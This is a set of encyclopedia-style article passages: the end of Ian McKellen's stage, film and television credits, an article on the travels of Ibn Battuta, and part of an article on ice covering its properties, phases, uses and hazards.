            	Every Good Boy Deserves Favour, RSC, Barbican Arts Centre (London), 1977


            	Three Sisters, RSC, UK Tour, 1978


            	Bent, (as Uncle Freddie) West End, 1979


            	Amadeus (as Salieri), Broadway, 1980


            	Coriolanus (title role), National Theatre, 1984


            	Wild Honey, National Theatre, 1984 (& Broadway, 1986)


            	The Cherry Orchard (as Lopakhin), National Theatre, 1985


            	The Duchess of Malfi, National Theatre, 1985


            	The Real Inspector Hound, National Theatre, London & Paris, 1985


            	Othello (as Iago), RSC, London & Stratford-upon-Avon, 1989


            	Richard III (title role), National Theatre, world tour, 1990 & US tour, 1992


            	Uncle Vanya (title role), National Theatre, 1992


            	Peter Pan (as Mr. Darling/Captain Hook), National Theatre, 1997


            	An Enemy of the People, National Theatre, 1997 & Ahmanson Theatre (Los Angeles), 1998


            	Present Laughter, West Yorkshire Playhouse (Leeds, England), 1998


            	Aladdin, (as Widow Twankie) Old Vic, 2004 & 2005


            	The Cut, Donmar Warehouse, 2006


            	King Lear by William Shakespeare, (as Lear), Courtyard Theatre, Stratford-upon-Avon, 2007


            	The Seagull by Anton Chekov, (as Sorin), Courtyard Theatre, Stratford-upon-Avon, 2007; New York (Brooklyn Academy of Music), 2007; Minneapolis, 2007


            	King Lear by William Shakespeare, (as Lear), New Zealand, 2007; New York (Brooklyn Academy of Music), 2007; Minneapolis, 2007

          


          


          Filmography


          
            
              	Year

              	Title

              	Role

              	Other notes
            


            
              	1969

              	The Promise

              	Leonidik

              	
            


            
              	Alfred the Great

              	Roger

              	
            


            
              	A Touch of Love

              	George Matthews

              	
            


            
              	1981

              	Priest of Love

              	Lawrence

              	
            


            
              	1982

              	The Scarlet Pimpernel

              	Paul Chauvelin

              	
            


            
              	1983

              	The Keep

              	Dr. Theodore Cuza

              	
            


            
              	1985

              	Plenty

              	Sir Andrew Charleson

              	
            


            
              	Zina

              	Kronfeld () () ()

              	
            


            
              	1989

              	Scandal

              	John Profumo

              	
            


            
              	1993

              	Six Degrees of Separation

              	Geoffrey Miller

              	
            


            
              	The Ballad of Little Jo

              	Percy Corcoran

              	
            


            
              	Last Action Hero

              	Death

              	
            


            
              	1994

              	To Die For

              	Quilt Documentary Narrator (voice)

              	
            


            
              	The Shadow

              	Dr. Reinhardt Lane

              	
            


            
              	I'll Do Anything

              	John Earl McAlpine

              	
            


            
              	1995

              	Restoration

              	Will Gates

              	
            


            
              	Richard III

              	Richard III

              	
            


            
              	Jack and Sarah

              	William

              	
            


            
              	1997

              	Swept from the Sea

              	Dr. James Kennedy

              	
            


            
              	Bent

              	Uncle Freddie

              	
            


            
              	1998

              	Apt Pupil

              	Kurt Dussander

              	
            


            
              	Gods and Monsters

              	James Whale

              	Academy Award nominated
            


            
              	2000

              	X-Men

              	Eric Lensherr/Magneto

              	
            


            
              	Cirque du Soleil: Journey of Man

              	Narrator (voice)

              	
            


            
              	2001

              	The Lord of the Rings: The Fellowship of the Ring

              	Gandalf the Grey

              	Academy Award nominated
            


            
              	2002

              	The Lord of the Rings: The Two Towers

              	Gandalf the Grey/Gandalf the White

              	
            


            
              	2003

              	The Lord of the Rings: The Return of the King

              	Gandalf the White

              	
            


            
              	Emile

              	Emile

              	
            


            
              	X2: X-Men United

              	Eric Lensherr/Magneto

              	
            


            
              	2004

              	Eighteen

              	Jason Anders

              	
            


            
              	2005

              	Neverwas

              	Gabriel Finch

              	
            


            
              	Asylum

              	Dr. Peter Cleave

              	
            


            
              	The Magic Roundabout

              	Zebedee (voice)

              	
            


            
              	2006

              	Displaced

              	(voice)

              	
            


            
              	Flushed Away

              	The Toad (voice)

              	
            


            
              	X-Men: The Last Stand

              	Eric Lensherr/Magneto

              	
            


            
              	The Da Vinci Code

              	Sir Leigh Teabing

              	
            


            
              	The Magic Roundabout

              	Zebedee (voice)

              	
            


            
              	2007

              	Displaced

              	(voice)

              	
            


            
              	Stardust (2007 film)

              	Narrator

              	
            


            
              	The Colossus

              	Cecil Rhodes

              	Pre-Production
            


            
              	The Golden Compass

              	Iorek Byrnison (voice)

              	
            


            
              	2009

              	Magneto

              	Eric Lensherr/Magneto

              	Announced
            

          


          


          Television


          
            	David Copperfield (title role) (1966)


            	Fever (1968)


            	Keats (as John Keats) (1970)


            	Edward II (1970)


            	The Tragedy of King Richard II (1970)


            	Country Matters (1972)


            	Hedda Gabler (1972)


            	Macbeth (1979)


            	The Scarlet Pimpernel (1982)


            	Walter (1982)


            	And the Band Played On (1993)


            	Tales of the City (1993)


            	Rasputin: Dark Servant of Destiny (as Tsar Nicholas II) (1996)


            	The Simpsons (2003)


            	Coronation Street (2004)


            	Hay Street (2005)


            	Extras (2006)

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Ian_McKellen"
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        Ibn Battuta


        
          

          
            
              Ibn Battuta
            

            
              	Islamic scholar/ Explorer

              Medieval era
            


            
              	[image: ]
            


            
              	Full name

              	Ibn Battuta
            


            
              	Birth

              	February 24, 1304
            


            
              	Death

              	1368 or 1377
            


            
              	School/tradition

              	Sunni Maliki
            

          


          Abu Abdullah Muhammad Ibn ِAbdullah Al Lawati Al Tanji Ibn Battuta (Arabic: أبو عبد الله محمد ابن عبد الله اللواتي الطنجي ابن بطوطة) (born February 24, 1304; year of death uncertain, possibly 1368 or 1377) was a Moroccan Berber scholar and jurisprudent from the Maliki Madhhab (a school of Fiqh, or Sunni Islamic law), and at times a Qadi or judge. However, he is best known as a traveler and explorer, whose account documents his travels and excursions over a period of almost thirty years, covering some 73,000 miles (117,000 km). These journeys covered almost the entirety of the known Islamic world and beyond, extending from North Africa, West Africa, Southern Europe and Eastern Europe in the West, to the Middle East, Indian subcontinent, Central Asia, Southeast Asia and China in the East, a distance readily surpassing that of his predecessors and his near-contemporary Marco Polo.


          At the instigation of the Sultan of Morocco, Abu Inan Faris, several years after his return, Ibn Battuta dictated an account of his journeys to a scholar named Ibn Juzayy, whom he had met while in Granada. This account, recorded by Ibn Juzayy and interspersed with the latter's own comments, is the primary source of information for his adventures. The title of this initial manuscript تحفة النظار في غرائب الأمصار وعجائب الأسفار may be translated as A Gift to Those Who Contemplate the Wonders of Cities and the Marvels of Travelling but is often simply referred to as the Rihla الرحلة, or "Journey". Whilst apparently fictional in places, the Rihla still gives as complete an account as exists of some parts of the world in the 14th century.


          Almost all that is known about Ibn Battuta's life comes from one sourceIbn Battuta himself. In some places, the things he claims he saw or did are probably fanciful, but in many others, there is no way to know whether he is reporting or storytelling. However, due to the complexity and thoroughness of his accounts, we are left to assume that his chronicles were in fact true.


          An impact crater on the moon, the Ibn Battuta crater, is named after him. A themed shopping mall in Dubai, the Ibn Battuta Mall, also bears his name, with some of his earlier research and inventions in displays scattered throughout its corridors.


          


          The Hajj


          Ibn Battuta was born in Tangier, Morocco, during the time of Merinid Sultanate rule in the Hijri calendar year 703 into a Muslim family. At the age of (approximately) twenty, Ibn Battuta went on hajjthe pilgrimage to Mecca. Once done, however, he continued traveling, eventually covering about 75,000 miles over the length and breadth of the Muslim world, and beyond (about 44 modern countries). Ibn Battuta started his journeys in 1325.


          Returning to Cairo, he took a second side trip, to Damascus (then also controlled by the Mameluks), having encountered a holy man during his first trip who prophesied that Ibn Battuta would only reach Mecca after a journey through Syria. An additional advantage to the side journey was that other holy places were along the route Hebron, Jerusalem, and Bethlehem, for exampleand the Mameluk authorities put special effort into keeping the journey safe for pilgrims.


          After spending Ramadan in Damascus, Ibn Battuta joined up with a caravan traveling the 800 miles from Damascus to Medina, burial place of the prophet Muhammad. After four days, he then journeyed on to Mecca. There he completed the usual rituals of a Muslim pilgrim, and having graduated to the status of al-Hajji as a result, now faced his return home. Upon reflection, he decided to continue journeying instead. His next destination was the Il-Khanate in modern-day Iraq and Iran.


          


          Second Hajj and East Africa


          After this trip, Ibn Battuta returned to Mecca for a second hajj and lived there for a year before embarking on a second great trek, this time down the Red Sea and the Eastern African coast. His first major stop was Aden, where his intention was to make his fortune as a trader of the goods that flowed into the Arabian Peninsula from around the Indian Ocean. Before doing so, however, he determined to have one last adventure and signed on for a trip down the coast of Africa.


          Spending about a week in each of his destinations, he visited Mogadishu, Mombassa, Zanzibar, and Kilwa, among others. With the change of the monsoon, he and the ship he was aboard then returned to Arabia. Having completed his final adventure before settling down, he then immediately decided to go visit Oman and the Straits of Hormuz. This done, he journeyed to Mecca again.


          


          Byzantine Empire, Golden Horde, Anatolia, Central Asia and India


          Spending another year there, he then resolved to seek employment with the Muslim Sultan of Delhi. Needing a guide and translator if he was to travel there, he went to Anatolia, then under the control of the Seljuqs, to join up with one of the caravans that went from there to India. A sea voyage from Damascus on a Genoese ship landed him in Alanya on the southern coast of modern-day Turkey. From there he traveled by land to Konya and then Sinope on the Black Sea coast.


          Crossing the Black Sea, Ibn Battuta landed in Caffa (now Theodosia), in the Crimea, and entered the lands of the Golden Horde. There he bought a wagon and fortuitously joined the caravan of Ozbeg, the Golden Horde's Khan, on a journey as far as Astrakhan on the Volga River.


          Upon reaching Astrakhan, the Khan allowed one of his pregnant wives to go give birth back in her home city Constantinople. It is perhaps of no surprise to the reader that Ibn Battuta talked his way into this expedition, his first beyond the boundaries of the Islamic world.


          Arriving there towards the end of 1332, he met the emperor Andronicus III Palaeologus and saw the outside of Hagia Sophia. After a month in the city, he retraced his route to Astrakhan, then carried on past the Caspian and Aral Seas to Bokhara and Samarkand. From there, he journeyed south to Afghanistan, the mountain passes of which he used to cross into India.


          The Sultanate of Delhi was a new addition to Dar al-Islam, and Sultan Muhammed Tughlaq had resolved to import as many Muslim scholars and other functionaries as possible to consolidate his rule. On the strength of his years of studies while in Mecca, Ibn Battuta was employed as a qadi ("judge") by the sultan.


          Tughlaq was erratic even by the standards of the time, and Ibn Battuta veered between living the high life of a trusted subordinate, aiding in the converting of the people that lived along the trade routes that he travelled, and being under suspicion for a variety of treasons against the government. Eventually he resolved to leave on the pretext of taking another hajj, but the Sultan offered the alternative of being ambassador to China. Given the opportunity to both get away from the Sultan and visit new lands, Ibn Battuta took it.


          


          Southeast Asia and China


          En route to the coast, he and his party were attacked by Hindus, and, separated from the others, he was robbed and nearly lost his life. Nevertheless, he managed to catch up with his group within two days and continued the journey to Cambay. From there, they sailed to Calicut (two centuries later, Vasco da Gama also landed at the same place). While Ibn Battuta visited a mosque on shore, however, a storm blew up, and two of the ships of his expedition were sunk. The third then sailed away without him and ended up seized by a local king of Samudera Pasai in today Aceh of Sumatra island a few months later. In his travel log, he mentioned about the ruler of Samudera, Malik ul Salih, who was a Muslim and performed his religious duties in his utmost zeal. The madh'hab was Imam Shafi'i, and it reminded him of similar customs he had seen in India.


          Fearful of returning to Delhi as a failure, he stayed for a time in the south of India under the protection of Jamal al-Din. Jamaluddin was ruler of a small but powerful Nawayath sultanate on the banks of the river Sharavathi on the Arabian Sea coast. This place is presently known as Hosapattana and is located in the Honnavar taluka of Uttara Kannada district. When the sultanate was overthrown, it became necessary for Ibn Battuta to leave India altogether. He resolved to carry on to China, with a detour near the beginning of the journey to the Maldives.


          He spent nine months in the Maldive Islands, much longer than he had intended. As a qadi, his skills were highly desirable in these formerly Buddhist islands that had been recently converted to Islam, and he was half-bribed, half-kidnapped into staying. Appointed chief judge and marrying into the royal family, he became embroiled in local politics and ended up leaving after wearing out his welcome by imposing strict judgments in the laissez-faire island kingdom. From there, he carried on to Ceylon for a visit to Sri Pada (Adam's Peak).


          Setting sail from Ceylon, his ship nearly sank in a storm, then the ship that rescued him was attacked by pirates. Stranded on shore, Ibn Battuta once again worked his way back to Calicut, from where he then sailed to the Maldives again before getting on board a Chinese junk and trying once again to get to China.


          This time he succeeded, reaching in quick succession Chittagong, Sumatra, Vietnam, and then finally Quanzhou in Fujian Province, China. From there, he went north to Hangzhou, not far from modern-day Shanghai. He also traveled even further north, through the Grand Canal to Beijing, although there has been some doubt about whether this actually occurred.


          


          Return home and the Black Death


          Returning to Quanzhou, Ibn Battuta decided to return homethough exactly where "home" was a bit of a problem. Returning to Calicut once again, he pondered throwing himself on the mercy of Muhammed Tughlaq but thought better of it and decided to carry on to Mecca once again. Returning via Hormuz and the Il-Khanate, he saw that state dissolved into civil war, Abu Sa'id having died since his previous trip there.


          Returning to Damascus with the intention of retracing the route of his first hajj, he learned that his father had died. Death was the theme of the next year or so, for the Black Death had begun, and Ibn Battuta was on hand as it spread through Syria, Palestine, and Arabia. After reaching Mecca, he decided to return to Morocco, nearly a quarter century after leaving it. During the trip he made one last detour to Sardinia, then returned to Tangier to discover that his mother had also died, a few months before.


          


          Andalus and North Africa


          Having settled in Tangier for all of a few days, Ibn Battuta then set out for a trip to al-AndalusMuslim Iberia. Alfonso XI of Castile was threatening the conquest of Gibraltar, and Ibn Battuta joined up with a group of Muslims leaving Tangier with the intention of defending the port. By the time he arrived, the Black Death had killed Alfonso, and the threat had receded, so Ibn Battuta decided to visit for pleasure instead. He travelled through Valencia and ended up in Granada.


          Leaving al-Andalus, he decided to travel through one of the few parts of the Muslim world that he had never explored: Morocco. On his return home, he stopped for a while in Marrakesh, which was nearly a ghost town after the recent plague and the transfer of the capital to Fez.


          Once more he returned to Tangier, and once more he moved on. Two years before his own first visit to Cairo, the Malian king Mansa Musa had passed through the same city on his own hajj and had caused a sensation with his extravagant riches West Africa contained vast quantities of gold, previously unknown to the rest of the world. While Ibn Battuta never mentions this specifically, hearing of this during his own trip must have planted a seed in his mind, for he decided to set out and visit the Muslim kingdom on the far side of the Sahara Desert.


          


          The Sahara Desert to Mali and Timbuktu


          In the fall of 1351, Ibn Battuta set out from Fez, reaching the last Moroccan town ( Sijilmasa) a bit more than a week later. When the winter caravans began a few months later, he joined one, together with two of his cousins, ibn Ziri and ibn 'Adi. After a month, he arrived at the Central Saharan town of Taghaza. Taghaza was actually a dry salt lake bed, and its buildings were constructed from slabs of salt by slaves of the Massufa tribe, who cut the salt from the lake bed in thick slabs for transport by camel. Taghaza was a profitable commercial centre and awash with Malian gold, though Ibn Battuta did not have a favorable impression of the place. A long and difficult journey lay ahead, requiring special advance guides or takshif with local experience to arrange a passage. When the takshif became lost, the entire caravan usually disappeared without a trace. Ibn Battuta had his own tragedy: after quarreling with ibn 'Adi, ibn Ziri lagged behind the caravan until he became lost, and was never seen again. Traversing the open wastes of the Sahara Desert was therefore terrifying to many travelers, and Ibn Battuta noted the difficulty of navigating without landmarks, writing that there was "no visible road or track in these parts, nothing but sand blown here and there by the wind." After another 900 harrowing km through the worst part of the desert, Ibn Battuta finally arrived in Mali, particularly the town of Iwalatan ( Walata).


          From there, he traveled southwest along a river he believed to be the Nile (it was actually the Niger River) until he reached the capital of the Mali Empire. There he met Mansa Suleyman, king since 1341. Dubious about the miserly hospitality of the king, he nevertheless stayed for eight months before journeying back up the Niger to Timbuktu. Though in the next two centuries it would become the most important city in the region, at the time it was small and unimpressive, and Ibn Battuta soon moved on. Partway through his journey back across the desert, he received a message from the Sultan of Morocco commanding him to return home. This he did, and this time it lasted.


          After the publication of the Rihla, little is known about Ibn Battuta's life. He may have been appointed a qadi in Morocco. Ibn Battuta died in Morocco some time between 1368 and 1377 from the same disease that claimed his mother's life, the Black Death. For centuries his book was obscure, even within the Muslim world, but in the 1800s, it was rediscovered and translated into several European languages. Since then, Ibn Battuta has grown in fame and is now a well-known figure in the Middle East, not only for being an extensive traveller and author, but also for aiding in the conversion of the people along the trade routes that he took.


          


          Travelling route of Ibn Batutta


          Ibn Battuta travelled almost 75,000 miles in his lifetime. Here is a list of places he visited. 


          Morocco


          
            	Tangier


            	Fes, Morocco

          


          


          Algeria


          
            	Tlemcen (Tilimsan)


            	Miliana


            	Algiers


            	Manila


            	Oaks mountain


            	Bijaya


            	Constantine, named as Qusantnah.


            	Annaba, also called Bona.

          


          


          Tunisia


          
            	Tunis - At that time, Abu Yahya (son of Abu Zajaria) was the sultan of Tunis.


            	Sousse - also called Susah.


            	Sfax


            	Gabes

          


          


          Arabian Peninsula


          
            	Jeddah - A major port for pilgims to Makkah


            	Makkah - The original plan of his journey was to pilgimage to Makkah.


            	Rabigh - Small city north of Jeddah on the Red Sea


            	Medina - Where Ibn Batuta visited the grave of the prophet Muhammad.


            	Oman


            	Dhofar


            	Bahrain


            	Al-Hasa


            	Strait of Hormuz

          


          


          Turkey and Eastern Europe


          
            	Konya


            	Antalya


            	Bulgaria - His intension, as he mentions in his book, is that he wanted to go the Land of Darkness.


            	Azov


            	Kazan


            	Volga River


            	Istanbul - " Constantinople" as it was called in his time

          


          


          Libya


          
            	Tripoli

          


          


          Central Asia


          
            	Khwarezm


            	Khorasan (Province)


            	Afghanistan


            	Punjab region

          


          


          India


          
            	Delhi


            	Alibag - Ibn Batuta was imprisoned in this area as mentioned in his book.

          


          


          Other places in Asia


          
            	Myanmar


            	Maldives


            	Sri Lanka - known in his time as Ceylon


            	Coromandel Coast- in India


            	Brahmaputra River - Ibn Batuta visited the area on his way to China. This place is in Bangladesh.


            	Meghna River - Near Dhaka


            	Sumatra


            	Malay Peninsula

          


          


          China


          
            	Quanzhou - as he called in his book the city of jackass's


            	Hangzhou -- Ibn Batuta referred to this city in his book as "Madinat Alkhansa" مدينة الخنساء. He also mentioned that it was the largest city in the world at that time; it took him three days to walk across the city, which is huge even by today's standards.

          


          
            	Beijing - Ibn Batuta mentioned in his journey to Beijing how neat the city was.

          


          


          Somalia


          
            	Mogadishu

          


          


          East Africa


          
            	Kilwa


            	Mombasa

          


          


          Mali


          
            	Walata


            	Timbuktu


            	Gao
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              Snowflakes (ice crystals) by Wilson Bentley, 1902
            

          


          Ice is the name given to any one of the 15 known crystalline solid phases of water. In non-scientific contexts, it usually describes ice Ih, which is known to be the most abundant of these phases. It can appear transparent or an opaque bluish-white colour depending on the presence of impurities such as air. The addition of other materials such as soil may further alter the appearance.


          The most common phase transition to ice Ih occurs when liquid water is cooled below 0 C (273.15 K, 32 F) at standard atmospheric pressure. It can also deposit from a vapor with no intervening liquid phase, such as in the formation of frost.


          Ice appears in nature in forms as varied as snowflakes and hail, icicles, glaciers, pack ice, and entire polar ice caps. It is an important component of the global climate, particularly in regard to the water cycle. Furthermore, ice has numerous cultural applications, from the ice cooling one's drink to winter sports and ice sculpture.


          The word is from Old English s, in turn derived from Proto-Germanic * isaz.


          


          Characteristics
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              Strings of ice found in the Adirondack Region of New York State
            

          


          As a naturally occurring crystalline solid, ice is considered a mineral consisting of hydrogen oxide.


          An unusual property of ice frozen at a pressure of one atmosphere is that the solid is some 8% less dense than liquid water. Water is the only known non-metallic substance to expand when it freezes. Ice has a density of 0.9167 g/cm at 0 C, whereas water has a density of 0.9998 g/cm at the same temperature. Liquid water is most dense, essentially 1.00 g/cm, at 4 C and becomes less dense as the water molecules begin to form the hexagonal crystals of ice as the temperature drops to 0 C. (In fact, the word "crystal" derives from Greek word for frost.) This is due to hydrogen bonds forming between the water molecules, which line up molecules less efficiently (in terms of volume) when water is frozen. The result of this is that ice floats on liquid water, which is an important factor in Earth's climate (if water had sunk instead of floating, any body of water would have frozen from the bottom to the surface, killing any fish and other creatures not resistant to freezing temperatures). Density of ice increases slightly with decreasing temperature (density of ice at 180 C (93 K) is 0.9340 g/cm).


          When ice melts, it absorbs as much heat energy (the heat of fusion) as it would take to heat an equivalent mass of water by 80C, while its temperature remains a constant 0C.


          It is also theoretically possible to superheat ice beyond its equilibrium melting point. Simulations of ultrafast laser pulses acting on ice show it can be heated up to room temperature for an extremely short period (250 ps) without melting it.


          Light reflecting from ice can appear blue, because ice absorbs more of the red frequencies than the blue ones. Also, icebergs containing impurities (e.g. sediments, algae, air bubbles) can appear green.


          


          Slipperiness
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              Ice crystals at refrigerator window
            

          


          Until recently, it was widely believed that ice was slippery because the pressure of an object in contact with it caused a thin layer to melt. For example, the blade of an ice skate, exerting pressure on the ice, melted a thin layer, providing lubrication between the ice and the blade.


          This explanation is no longer widely accepted. There is still debate about why ice is slippery. The explanation gaining acceptance is that ice molecules in contact with air cannot properly bond with the molecules of the mass of ice beneath (and thus are free to move like molecules of liquid water). These molecules remain in a semiliquid state, providing lubrication regardless of pressure against the ice exerted by any object.


          This phenomenon does not seem to hold true at all temperatures. The extreme conditions found, especially, in Antarctica have been observed to make ice and snow not slippery. Explorers report that at very low temperatures snow loses its "glide", and pulling a sledge across it becomes like pulling a sledge through sand.


          


          Types
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              Feather ice on the plateau near Alta, Norway. The crystals form at temperatures below 30 C (i.e. 22 F).
            

          


          Everyday ice and snow have a hexagonal crystal structure ( ice Ih). Subjected to higher pressures and varying temperatures, ice can form in roughly a dozen different phases. Only a little less stable (metastable) than Ih is the cubic structure ( Ic).


          At other temperatures and pressures, other forms of ice exist, including II, III, V, VI, VII, VIII, IX, and X. With care all these types can be recovered at ambient pressure. The types are differentiated by their crystalline structure, ordering and density. There are also two metastable phases of ice under pressure, both fully hydrogen disordered; these are IV and XII. Ice XII was discovered in 1996. In 2006, XIII and XIV were discovered. Ices XI, XIII, and XIV are hydrogen-ordered forms of ices Ih, V, and XII respectively.


          As well as crystalline forms, solid water can exist in amorphous states as amorphous solid water (ASW), low density amorphous ice (LDA), high density amorphous ice (HDA), very high density amorphous ice (VHDA) and hyperquenched glassy water (HGW).


          Rime is a type of ice formed on cold objects when drops of water crystalize on them. This can be observed in foggy weather, when the temperature drops during night. Soft rime contains a high proportion of trapped air, making it appear white rather than transparent, and giving it a density about one quarter of that of pure ice. Hard rime is comparatively denser.


          Aufeis is layered ice that forms in Arctic and subarctic stream valleys. Ice frozen in the stream bed blocks normal groundwater discharge and causes the local water table to rise, resulting in water discharge on top of the frozen layer. This water then freezes, causing the water table to rise further and repeat the cycle. The result is a stratified ice deposit, often several meters thick.


          Ice can also form icicles, similar to stalactites in appearance, as water drips and re-freezes.


          Clathrate hydrates are forms of ice that contain gas molecules trapped within its crystal lattice. Pancake ice is a formation of ice generally created in areas with less calm conditions.


          Some other substances (particularly solid forms of those usually found as fluids) are also called "ice": dry ice, for instance, is a popular term for solid carbon dioxide.


          In outer space hexagonal crystalline ice, the predominant form on Earth, is extremely rare. Amorphous ice is more common; however, hexagonal crystalline ice can be formed via volcanic action.


          


          Uses


          


          Ice harvesting
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              Harvesting ice on Lake Saint Clair in Michigan, circa 1905
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              Ice being transported by cart in Mumbai, India
            

          


          Ice has long been valued as a means of cooling. Until recently, the Hungarian Parliament building used ice harvested in the winter from Lake Balaton for air conditioning. Icehouses were used to store ice formed in the winter to make ice available year-round, and early refrigerators were known as iceboxes because they had a block of ice in them. In many cities it was not unusual to have a regular ice delivery service during the summer. For the first half of the 19th century, ice harvesting had become big business in America. Frederic Tudor, who became known as the Ice King, worked on developing better insulation products for the long distance shipment of ice, especially to the tropics. The advent of artificial refrigeration technology has since made delivery of ice obsolete.


          In 400 BC Iran, Persian engineers had already mastered the technique of storing ice in the middle of summer in the desert. The ice was brought in during the winters from nearby mountains in bulk amounts, and stored in specially designed, naturally cooled refrigerators, called yakhchal (meaning ice storage). This was a large underground space (up to 5000 m) that had thick walls (at least two meters at the base) made out of a special mortar called sārooj, composed of sand, clay, egg whites, lime, goat hair, and ash in specific proportions, and which was known to be resistant to heat transfer. This mixture was thought to be completely water impenetrable. The space often had access to a Qanat, and often contained a system of windcatchers that could easily bring temperatures inside the space down to frigid levels in summer days. The ice was then used to chill treats for royalty during hot summer days.


          


          Sports
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          Ice also plays a role in winter recreation, in many sports such as ice skating, tour skating, ice hockey, ice fishing, ice climbing, curling, broomball and sled racing on bobsled, luge and skeleton. Many of the different sports played on ice get international attention every four years during the Winter Olympic Games.


          A sort of sailboat on blades gives rise to ice boating. The human quest for excitement has even led to ice racing, where drivers must speed on lake ice while also controlling the skid of their vehicle (similar in some ways to dirt track racing). The sport has even been modified for ice rinks.


          


          Transportation
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          Ice can also be an obstacle; for harbors near the poles, being ice-free is an important advantage, ideally all-year round. Examples are Murmansk (Russia), Petsamo (Russia, formerly Finland) and Vard (Norway). Harbors that are not ice-free are opened up using icebreakers.


          Ice forming on roads is a dangerous winter hazard. Black ice is very difficult to see because it lacks the expected frosty surface. Whenever there is freezing rain or snow that occurs at a temperature near the melting point, it is common for ice to build up on the windows of vehicles. Driving safely requires the removal of the ice build-up. Ice scrapers are tools designed to break the ice free and clear the windows, though removing the ice can be a long and labor-intensive process.


          Far enough below the freezing point, a thin layer of ice crystals can form on the inside surface of windows. This usually happens when a vehicle has been left alone after being driven for a while, but can happen while driving if the outside temperature is low enough. Moisture from the driver's breath is the source of water for the crystals. It is troublesome to remove this form of ice, so people often open their windows slightly when the vehicle is parked in order to let the moisture dissipate, and it is now common for cars to have rear-window defrosters to combat the problem. A similar problem can happen in homes, which is one reason why many colder regions require double-pane windows for insulation.


          When the outdoor temperature stays below freezing for extended periods, very thick layers of ice can form on lakes and other bodies of water (although places with flowing water require much colder temperatures). The ice can become thick enough to drive onto with automobiles and trucks. Doing this safely requires a thickness of at least 30 centimeters (one foot).


          For ships, ice presents two distinct hazards. Spray and freezing rain can produce an ice build-up on the superstructure of a vessel sufficient to make it unstable and to require it to be hacked off or melted with steam hoses. And icebergs  large masses of ice floating in water (typically created when glaciers reach the sea)  can be dangerous if struck by a ship when under way. Icebergs have been responsible for the sinking of many ships, a notable example being the Titanic.


          For aircraft, ice can cause a number of dangers. As an aircraft climbs, it passes through air layers of different temperature and humidity, some of which may be conducive to ice formation. If ice forms on the wings or control surfaces, this may adversely affect the flying qualities of the aircraft. During the first non-stop flight of the Atlantic, the British aviators Captain John Alcock and Lieutenant Arthur Whitten Brown encountered such icing conditions - Brown left the cockpit and climbed onto the wing several times to remove ice which was covering the engine air intakes of the Vickers Vimy aircraft they were flying.


          A particular icing vulnerability associated with reciprocating internal combustion engines is the carburettor. As air is sucked through the carburettor into the engine the local air pressure is lowered, which causes adiabatic cooling. So, in humid close-to-freezing conditions, the carburettor will be colder and tend to ice up. This will block the supply of air to the engine, and cause it to fail. Aircraft reciprocating engines with carburettors are provided with carburettor air intake heaters for this reason. The increasing use of fuel injectionwhich does not require carburettorshas made "carb icing" less of an issue for reciprocating engines.


          Jet engines do not experience carb icing, but recent evidence indicates that they can be slowed, stopped, or damaged by internal icing in certain types of atmospheric conditions much more easily than previously believed. In most cases, the engines can be quickly restarted and flights are not endangered, but research continues to determine the exact conditions that produce this type of icing, and find the best methods to prevent or reverse it in flight.


          


          Other uses
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            	Engineers used pack ice's formidable strength when they constructed Antarctica's first floating ice pier in 1973. Such ice piers are used during cargo operations to load and offload ships. Fleet operations personnel make the floating pier during the winter. They build upon naturally occurring frozen seawater in McMurdo Sound until the dock reaches a depth of about 22feet (6.7m). Ice piers have a lifespan of three to five years.


            	The manufacture and use of ice cubes or crushed ice is common for drinks.


            	Pagophagia, a type of pica eating disorder, is the compulsive consumption of ice.


            	Structures and ice sculptures are built out of large chunks of ice. The structures are mostly ornamental (as in the case with ice castles) and not practical for long-term habitation. Ice hotels exist on a seasonal basis in a few cold areas. Igloos are another example of a temporary structure, made primarily from snow.


            	During World War II, Project Habbakuk was a British program which investigated the use of pykrete (wood fibres mixed with ice) as a possible material for warships, especially aircraft carriers due to the ease with which a large deck could be constructed, but the idea was given up when there were not enough funds for construction of a prototype.


            	Ice can be used to start a fire by carving it into a lens that will focus sunlight onto kindling. When one waits long enough, a fire will start.


            	In global warming, ice plays an important part because it reflects 90% of the sun's rays. Furthermore, ice cores help provide historical climate information.


            	In January and February 1658, the straits between the islands of Denmark, Great Belt and Little Belt froze over, allowing a Swedish army to March across the Belts and defeat the Danish army. The resulting Treaty of Roskilde ceded large areas of Denmark to Sweden.

          


          


          At different pressures


          Most liquids freeze at a higher temperature under pressure because the pressure helps to hold the molecules together. However, the strong hydrogen bonds in water make it different: water freezes at a temperature below 0 C under a pressure higher than 1 atm. Consequently water also remains frozen at a temperature above 0 C under a pressure lower than 1 atm. The melting of ice under high pressures is thought to contribute to the movement of glaciers. Ice formed at high pressure has a different crystal structure and density than ordinary ice. Ice, water, and water vapor can coexist at the triple point, which is exactly 273.16K (by definition) at a pressure of 611.73 Pa.


          


          Phases


          
            
              	Phase

              	Characteristics
            


            
              	Amorphous ice

              	Amorphous ice is an ice lacking crystal structure. Amorphous ice exists in three forms: low-density (LDA) formed at atmospheric pressure, or below, high density (HDA) and very high density amorphous ice (VHDA), forming at higher pressures. LDA forms by extremely quick cooling of liquid water ("hyperquenched glassy water", HGW), by depositing water vapour on very cold substrates ("amorphous solid water", ASW) or by heating high density forms of ice at ambient pressure ("LDA").
            


            
              	Ice Ih

              	Normal hexagonal crystalline ice. Virtually all ice in the biosphere is ice Ih, with the exception only of a small amount of ice Ic.
            


            
              	Ice Ic

              	A Metastable cubic crystalline variant of ice. The oxygen atoms are arranged in a diamond structure. It is produced at temperatures between 130-150 K, and is stable for up to 200 K, when it transforms into ice Ih. It is occasionally present in the upper atmosphere.
            


            
              	Ice II

              	A rhombohedral crystalline form with highly ordered structure. Formed from ice Ih by compressing it at temperature of 190-210 K. When heated it undergoes transformation to ice III.
            


            
              	Ice III

              	A tetragonal crystalline ice, formed by cooling water down to 250 K at 300 MPa. Least dense of the high-pressure phases. More dense than water.
            


            
              	Ice IV

              	A Metastable rhombohedral phase. Does not easily form without a nucleating agent.
            


            
              	Ice V

              	A monoclinic crystalline phase. Formed by cooling water to 253 K at 500 MPa. Most complicated structure of all the phases.
            


            
              	Ice VI

              	A tetragonal crystalline phase. Formed by cooling water to 270 K at 1.1 GPa. Exhibits Debye relaxation.
            


            
              	Ice VII

              	A cubic phase. The hydrogen atoms positions are disordered, the material shows Debye relaxation. The hydrogen bonds form two interpenetrating lattices.
            


            
              	Ice VIII

              	A more ordered version of ice VII, where the hydrogen atoms assume fixed positions. Formed from ice VII by cooling it below 5 C.
            


            
              	Ice IX

